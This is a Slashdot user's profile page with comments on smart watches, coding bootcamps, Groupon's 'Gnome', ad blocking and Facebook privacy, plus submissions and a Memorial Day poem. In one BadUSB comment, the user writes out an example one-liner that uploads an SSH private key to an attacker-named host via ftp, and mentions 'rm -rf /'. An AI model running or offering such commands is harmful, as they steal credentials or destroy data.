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Ask Slashdot: What Can I Really Do With a Smart Watch?

jakimfett Re:Pebble? (228 comments)

They're commiserating with both of the Blackberry users about it.

3 days ago
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Coding Bootcamps Presented As "College Alternative"

jakimfett Re:yaaaaaaay... (226 comments)

4.98 / 100 = 0.0498

Last I checked, 0.0498 > 0.45 > 0.035

That nitpick aside...I agree that a Raspberry Pi is way overkill for making an LED blink...unless you're trying to teach rather than accomplish something (eg low cost blinking light). If you need to produce a thousand blinking widgets, the process is far different than if you're trying to teach kids (or adults...) about programming and software driven hardware.

about a month ago
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Coding Bootcamps Presented As "College Alternative"

jakimfett Re:Here we go again (226 comments)

Given how insanely important this particular statement is to the whole conversation, I'm surprised I had to scroll almost all the way down to the bottom before someone brought it up.

This bit is why I personally think it's an excellent idea...they aren't trying to produce fully fledged senior developers ready to lead a team of developers in building/maintaining/re-purposing a fortune 500 company's mission critical systems.

They're trying to jumpstart the beginnings of that...the mindset that will, one day far down the road (if the individual is motivated to continue learning) will produce an exceptional programmer.

about a month ago
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Coding Bootcamps Presented As "College Alternative"

jakimfett Re:yaaaaaaay... (226 comments)

Question...where are you finding prices below $0.035 (or $0.045 if we're counting shipping) for the parts to make an LED blink?

about a month ago
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Groupon Backs Down On Gnome

jakimfett Re:Don't mess with the geek's toys (114 comments)

I disagree. If I were the tech guy at say...Lowes (which, admittedly, I'm not), the similar name would be a point of confusion for middle management.

Manager: "Hey, I heard about this new Gnome thing that Groupon is offering to install for Significantly Reduced Prices. You've been bothering me for the last year about upgrading our own gnome system, why not let them do the upgrade?"
IT Guy: "There's a huge difference between GNOME and Gnome, sir."
Manager: "Doesn't sound like there is, they both do point of sale, and Groupon has TOUCH! Everybody wants touchscreens, right?"
IT Guy: "Please just kill me now"

Yes, there's a lot of copyright bullshittery happening...but despite my own personal distaste for the GNOME project, this is bigger than that. Given that Groupon was trying to establish a presence in a market that GNOME already had a presence in, I'd think it'd kinda fall into the realm of "valid defense of a mark".

To use the vulnerable car analogy:
The GNOME group was running a small dealership that gave away free mopeds with the "GNOME" name on them.
A nearby radio station decides to start up a motorcycle dealership, selling motorbikes they call "Gnome".
End result would be that if I say "I got a payout from my bitcoin miner, I'm going to go buy myself a gnome", you might not know whether I'm getting a moped or a motorbike.

about a month ago
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Groupon Backs Down On Gnome

jakimfett Re:Don't mess with the geek's toys (114 comments)

Reading. Do you even?

Groupon was rolling out a Point-Of-Sale touch interface thin OS system, calling it Gnome. Perhaps you can see how this would possibly be confused with the GNOME touch capable OS, which is (at least in some Lowe's locations) installed on Point-Of-Sale systems.

about a month ago
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Every Day Is Goof-Off-At-Work Day At the US Patent and Trademark Office

jakimfett Re:Public servants don't give an arm and a leg (327 comments)

No clue why this was marked "redundant". From what I can see, this is the point that everyone else is missing...it's not about a couple of guys occasionally goofing off, it's a culture of slacking off, then rushing and pushing through shoddy work, which has resulted in some fairly retarded patents getting approved, even in cases where prior art was clear.

about 4 months ago
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"BadUSB" Exploit Makes Devices Turn "Evil"

jakimfett Re:How is this viable as an attack medium? (205 comments)

I'd be interested to see how well this works against linux workstations. Having the ability to arbitrarily send keyboard commands will only be effective if a) they're the correct key commands (eg, the shortcut to open the terminal client, or a web browser, which changes depending on your desktop environment) and you can actually *do* those commands. Eg, "rm -rf /" isn't going to work without the superuser password.

That said...something like "cd ~/.ssh;ftp attack@myserver.hack;put id_rsa;exit" wouldn't necessarily need any sort of high level access...and getting ahold of someone's private key is akin to getting the holy grail, especially if you can do it without them realizing it.

about 5 months ago
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"BadUSB" Exploit Makes Devices Turn "Evil"

jakimfett Re:Leverage (205 comments)

$hat = 'tinfoil'

Nah, Leverage is just an illegally de-classified documentary of a black ops crime fighting unit from the future, sent back to us by the rebels as a warning about what's coming next.

about 5 months ago
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"BadUSB" Exploit Makes Devices Turn "Evil"

jakimfett Re:USB 4.x to offer signed USB device signatures?? (205 comments)

At the point where a hacker has physical access to one of your machines, you have bigger problems than whether they're going to swap out your mouse for something more easily hackable.

about 5 months ago
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London Police Placing Anti-Piracy Warning Ads On Illegal Sites

jakimfett Re: uno (160 comments)

Who is surfing to such sites without AdBlocker and NoScript shields up

I basically came here to say exactly this. Adblock Plus, NoScript, Ghostery, FlashBlock...whenever I browse the internet without them (eg, on a friend's computer, or when doing tech support, or when re-installing an OS) I have a moment of "...the heck are these abominations?" before I remember that, oh right, the internet has ads.

about 5 months ago
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Microsoft Takes Down No-IP.com Domains

jakimfett Re:Sue them for all they're worth (495 comments)

Try reading a bit deeper. This from the TechNet article:

On June 19, Microsoft filed for an ex parte temporary restraining order...

ex parte : "a legal proceeding brought by one person in the absence of and without representation or notification of other parties."

Translation: Microsoft *never notified* No-IP. There was no summons. There was no notification. There was no chance to file for a stay of judgement or make an appeal.

about 6 months ago
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US Navy Develops World's Worst E-reader

jakimfett Re:There's a reason books can't be updated (249 comments)

This here is the point that most of the "waaa, gps is receive only, not a threat, Moffitt is clueless, waaa!" crowd misses. In a situation requiring strict operational security, anything that stores your location in a potentially retrievable manner is controlled

about 7 months ago
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The Man Behind Munich's Migration of 15,000 PCs From Windows To Linux

jakimfett Re:Cheaper beer (264 comments)

I'm kinda surprised more people haven't brought this up, especially with all the conversations about XP EOL happening right now.

about 7 months ago
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Ad Tracking: Is Anything Being Done?

jakimfett Re:De-facto reality (303 comments)

I already commented on this thread, otherwise I'd be modding this comment up.

Every few months, I use a browser without the essentials (NoScript/FlashBlock/Ghostery/AdBlockPlus) installed, and the internet is nearly unusable. Popups, ads, popup ads, autoplaying media, autoplaying media ads...the list goes on. Running the gantlet almost isn't worth it, and I retreat back into the solitude that is the ad-free internet.

I still don't understand how people still use IE.

about 9 months ago
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Ad Tracking: Is Anything Being Done?

jakimfett Re:Wear the tin foil hat (303 comments)

I normally allow top level sites in NoScript by default. 99% of the time, the "functional" javascript is served by the domain you're visiting, and that javascript-based ad you're trying to avoid is hosted offsite.

Basically, as websites evolve, so does NoScript.

about 9 months ago
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Why Does Facebook Need To Read My Text Messages?

jakimfett Re:Think of the children (293 comments)

Depending on your android version, you can disable specific apps. But I think you have to have a 4.x build of android.

about a year ago
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Why Does Facebook Need To Read My Text Messages?

jakimfett Re:Think of the children (293 comments)

I've been quite pleased with the performance increases and security enhancements provided by Cyanogenmod. But then...I'm also willing to break my phone a couple of times if necessary while trimming away unnecessary permissions from apps.

about a year ago

Submissions

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Facebook removing search opt-out

jakimfett jakimfett writes  |  about a year ago

jakimfett (2629943) writes "Thought that you had your Facebook account locked down so people couldn't find you using your name? Think again. Facebook is now forcibly disabling the "hide me from search results" feature. Last December, Facebook removed the option for people who hadn't already opted out, but now Facebook is removing it for everyone else. Who can search for your timeline by name? Anyone you haven't blocked.

Facebook claims that this is to remove an "old setting", implying that few people use the option or that it is outdated. But for anyone who has ever been stalked, this is bad news."

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Resurrecting the Linux Game Tome

jakimfett jakimfett writes  |  about a year and a half ago

jakimfett (2629943) writes "On April 13th, The Linux Game Tome will be going dark, but there's hope yet. The admin, BobZ, has an update for the community:

To everyone who is expressing interest in helping to continue The Linux Game Tome: thank you! But don't tell me, tell the community! After this site is shut down, I will walk away from it. I have no plans to be involved in any effort to continue the Linux Game Tome legacy. If you are interested in continuing the legacy, please organize and make it happen.

Following the announcement was an email with some "Linux Game Tome 3.0" information. In response to the email, I've set up a site that can act as a discussion platform for anyone interested in contributing to the project."
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Reclaiming online privacy

jakimfett jakimfett writes  |  more than 2 years ago

jakimfett writes "Looking for a simple way to regain control of your online privacy? Jim Brock of PrivacyChoice.org suggests PrivacyFix, which just might be the answer for you. Brock said in a press release that "Default privacy settings on sites like Facebook are revenue- driven, not privacy-driven,”, and the PrivacyChoice.org project aims to fix that

The browser extension (available for Chrome or Firefox) gives you a plethora of options, and helps you get everything via a simple to understand checklist. From helping you identify which Facebook apps are leaking your data, to real-time warnings (with options to block it) if a site is going to track you."

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Journals

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Memorial Day

jakimfett jakimfett writes  |  more than 2 years ago

There's a song for the fallen, and a song for the brave, a song for the heroes, and all that they gave. We owe them our lives, our freedom, and more, and today we remember, the heroes of war.

Now wars have no beauty, and we can't understand, the horrors they visit on the souls of men, but we can praise the ones who were willing to fight, the ones who gladly gave up their lives.

There's a song for the fallen, and a song for the brave, a song for the heroes, and all that they gave. We owe them our lives, our freedom, and more, and today we remember, the heroes of war.

And it's not just the wars that they were willing to fight, but the ones they prevented, or ended without strife. Their honor and duty stands out above all, their willingness to answer their county's call.

This song's for the fallen, this song's for the brave, it's a song for the heroes, and all that they gave. We owe them our lives, our freedom, and more, and today we remember, the heroes of war.

Thank you, everyone who has served. We owe you more than we can ever understand.

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